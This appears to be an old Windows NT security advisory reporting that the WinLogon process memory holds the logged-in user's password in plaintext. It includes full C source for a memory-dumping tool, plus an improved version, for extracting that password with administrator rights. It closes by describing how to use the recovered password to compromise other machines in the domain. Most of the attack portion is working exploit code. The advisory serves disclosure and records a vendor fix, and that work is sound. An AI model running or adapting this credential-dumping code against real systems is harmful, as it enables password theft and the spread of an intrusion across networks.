COMMAND
WinLogon VM
SYSTEMS AFFECTED
WinNT
PROBLEM
Robert Horvick found following. While this does require admin
rights for this to work the implications of social engineering or
an exploit to run after compromising the admin account are
obvious. This does work on SP4 (and presumably previous SP
versions as well). The basic idea is that if WinLogon's process
is opened (OpenProcess) with PROCESS_VM_READ and then the VM is
read with ReadProcessMemory - within the first several hundred
bytes (in the form of Unicode environment variables) is the
logged in users password, twice, in plaintext in an easy to parse
format. Here is some code to demonstrate this - you must be
running as administrator for this to work:
/***************************************************************
* dumpvmem
*
* dumps the contents of a process virtual mem to a file for
* browsing later. If run with admin privs and the process
* winlogon is used ... the users password is all over the
* place in the first few hundred bytes.
*
* Robert Horvick [Kanin] Great Plains Software
* 12/2/1999 rhorvick@acm.org
*
*
* Command Line
* pid - decimal process id
* szPath - path to the file to dump memory to
*
****************************************************************/
#include <windows.h>
#include <stdio.h>
/*
* Highly inefficient - allocations occur in page size minimums.
* They should be used for real work. Since
* the password shows up so quickly ... meh.
*/
DWORD DumpMemory(HANDLE hProc, LPSTR szPath)
{
LPSTR lpOffset = (LPSTR)1;
CHAR vBuf[1];
DWORD dwRead = 0;
BOOL bLastRead = FALSE;
DWORD dwDumpedBytes = 0;
FILE *f;
f = fopen(szPath, "wb");
if(f)
{
while(lpOffset++)
{
if(ReadProcessMemory( hProc,
lpOffset,
vBuf,
1,
&dwRead))
{
if(bLastRead)
{
fprintf(f, "%c", vBuf[0]);
}
else
{
fprintf(f, "\noffset %lx\n", lpOffset);
fprintf(f, "%c", vBuf[0]);
bLastRead = TRUE;
}
dwDumpedBytes++;
}
else
{
bLastRead = FALSE;
}
}
fclose(f);
}
else
{
fprintf(stderr, "Unable to open %s", szPath);
}
return dwDumpedBytes;
}
int main(int argc, char **argv)
{
DWORD dwPid = 0;
BOOL bWorked = FALSE;
HANDLE hProc = 0;
char *szPath = 0;
if (argc < 2)
{
fprintf(stderr, "dumpvmem <pid> <path to dump file>");
return EXIT_FAILURE;
}
dwPid = atol(argv[1]);
szPath = argv[2];
hProc = OpenProcess(PROCESS_VM_READ, FALSE, dwPid);
if(hProc)
{
/* Play nice ... that is a tight loop up there. */
HANDLE hMe = GetCurrentProcess();
SetPriorityClass(hMe, IDLE_PRIORITY_CLASS);
DumpMemory(hProc, szPath);
CloseHandle(hProc);
}
else
{
fprintf(stderr, "Unable to open %ld for PROCESS_VM_READ\n", dwPid);
}
return 0;
}
The created file will be obvious enough. Actually there is a
large bug in the code (well - it works just as well but thousands
of times faster and is more correct). There is no reason to look
beyond the application min and max address range and no reason to
read in anything other then page sizes (since a VirtualAlloc will
always round to at least the next largest page size). This was
how one should have written it to begin with.
DWORD DumpMemory(HANDLE hProc, LPSTR szPath)
{
LPSTR lpOffset = 0;
LPSTR lpBuf = 0;
DWORD dwRead = 0;
BOOL bLastRead = FALSE;
DWORD dwDumpedBytes = 0;
SYSTEM_INFO si = {0};
FILE *f = 0;
f = fopen(szPath, "wb");
if(f)
{
GetSystemInfo(&si);
lpBuf = (LPSTR)malloc(si.dwPageSize + 1);
for(lpOffset = si.lpMinimumApplicationAddress;
(void*)lpOffset <= si.lpMaximumApplicationAddress;
lpOffset += si.dwPageSize)
{
if(ReadProcessMemory( hProc,
lpOffset,
lpBuf,
si.dwPageSize,
&dwRead))
{
if(bLastRead)
{
fwrite(lpBuf, 1, dwRead, f);
}
else
{
fprintf(f, "\noffset %lx\n", lpOffset);
fwrite(lpBuf, 1, dwRead, f);
bLastRead = TRUE;
}
dwDumpedBytes += dwRead;
lpOffset += si.dwPageSize;
}
else
{
bLastRead = FALSE;
}
}
fclose(f);
}
else
{
fprintf(stderr, "Unable to open %s", szPath);
}
return dwDumpedBytes;
}
Yes, the exploits that requires admin/root to gain admin/root are
pointless. If you can get the admin to put +s on bash, well,
yes...the system is compromised. HOWEVER, this particular problem
is interesting. If you use an exploit to gain access to the box
as administrator rights, or you get the admin to run something,
whatever. You are not concerned about 'how', but moreso that it
did happen. You now have two routes to take:
1. Grab the SAM, and spend the next 1526 years cracking it on
my 486. Bummer if they use syskey.
2. Use the above vulnerability to immediately get the plaintext
administrators password... then continute to compromise
other boxes in the domain. As a consultant, time is money.
As a hacker, the more time it takes, the more chances of
getting caught. Being given the plaintext password,
regardless of being admin, is a no-brainer if you don't
already have it.
SOLUTION
MS indicated this was fixed in NT 4.0 SP5. Well, this has been
fixed under NT4 SP6 for sure - the first 10,000 bytes of the
winlogon process are not accessible, and the rest of the memory
space appears to have nothing interesting in it. Windows 2000 RC2
is the same.